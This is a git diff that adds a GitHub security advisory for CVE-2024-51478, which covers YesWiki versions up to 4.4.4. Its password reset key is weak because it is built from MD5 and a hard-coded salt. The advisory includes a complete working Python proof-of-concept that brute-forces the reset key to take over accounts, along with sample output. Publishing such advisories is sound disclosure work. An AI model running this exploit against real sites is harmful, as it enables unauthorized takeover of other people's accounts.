diff --git a/advisories/github-reviewed/2024/10/GHSA-4fvx-h823-38v3/GHSA-4fvx-h823-38v3.json b/advisories/github-reviewed/2024/10/GHSA-4fvx-h823-38v3/GHSA-4fvx-h823-38v3.json new file mode 100644 index 00000000000..c5672018cc9 --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-4fvx-h823-38v3/GHSA-4fvx-h823-38v3.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4fvx-h823-38v3", + "modified": "2024-10-31T17:12:35Z", + "published": "2024-10-31T17:12:35Z", + "aliases": [ + "CVE-2024-51478" + ], + "summary": "YesWiki Uses a Broken or Risky Cryptographic Algorithm", + "details": "### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = 'FBcA';\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n // Generate the password recovery key\n $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);\n```\n\nThe key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = 'FBcA' # Hardcoded salt \nrandom_range = 10000 # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n parser = ArgumentParser()\n parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n return parser.parse_args()\n\n# Reset password request and get timestamp \ndef reset_password(email: str, domain: str):\n response = post(\n f'{domain}?MotDePassePerdu',\n data={\n 'email': email, \n 'subStep': '1'\n },\n headers={\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n )\n if response.ok:\n timestamp = datetime.now() # obtain the timestamp\n timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')\n print(f\"[*] Requesting link for {email} at {timestamp}\")\n return timestamp\n else:\n print(\"[-] Error while resetting password.\")\n exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n user_base64 = b64encode(username.encode()).decode()\n data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n hash_candidate = md5(data.encode()).hexdigest()\n url = f\"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}\"\n # print(f\"[*] Checking {url}\")\n response = get(url)\n \n # Check if the link is valid, warning depending on the language\n if 'Bienvenu.e' in response.text or 'Welcome' in response.text:\n return (True, random_int_val, hash_candidate, url)\n return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n # Launch the brute-force\n print(f\"[*] Starting brute-force, it can take few minutes...\")\n with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n \n for future in as_completed(futures):\n success, random_int_val, hash_candidate, url = future.result()\n if success:\n print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n print(f\"[+] URL: {url}\")\n exit()\n else:\n print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n args = parseArgs()\n timestamp_req = reset_password(args.email, args.domain)\n main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "yeswiki/yeswiki" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.4.5" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.4.4" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3" + }, + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc" + }, + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/YesWiki/yeswiki" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-327" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-10-31T17:12:35Z", + "nvd_published_at": null + } +} \ No newline at end of file